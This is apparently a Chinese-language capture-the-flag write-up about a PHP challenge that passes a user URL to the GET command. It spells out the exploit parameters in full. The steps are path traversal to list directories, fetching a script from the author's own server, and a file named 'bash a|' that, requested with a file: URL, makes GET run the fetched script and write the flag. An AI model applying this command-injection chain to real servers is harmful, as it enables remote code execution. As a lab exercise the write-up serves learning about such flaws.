1 <?php 2 $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 3 @mkdir($sandbox); 4 @chdir($sandbox); 5 6 $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 7 $info = pathinfo($_GET["filename"]); 8 $dir = str_replace(".", "", basename($info["dirname"])); 9 @mkdir($dir); 10 @chdir($dir); 11 @file_put_contents(basename($info["basename"]), $data); 12 highlight_file(__FILE__);
根據源碼可以發現php會對傳過去的參數用escapeshellarg函數過濾,然后執行GET $_GET['url'],然后會創建文件夾,並將執行GET $_GET['url']后的結果放在該文件夾下面filename傳過去的文件中。
同時:
根據這個特點就可以繞過escapeshellarg的單引號。
GET ./可以查看當前路徑,GET ../可以查看上一級路徑,於是:
http://117.50.3.97:8004/?url=../../../../../../&filename=a,然后訪問a。
可以發現有readflag和flag,於是猜想執行readflag flag可以得到flag,接下來就是如何構造並執行了。
首先的自己的服務器上寫入/readflag /flag。
然后是用GET去訪問,由於我的是域名所以直接訪問域名:?url=域名&filename=a,然后再去訪問a,發現變成了
然后就是執行a了,根據之前說的特點先創建一個文件名為bash a|:?url=&filename=bash a|
再執行a並將結果寫入b中:?url=file:bash a|&filename=b
之后訪問b就可以得到flag了。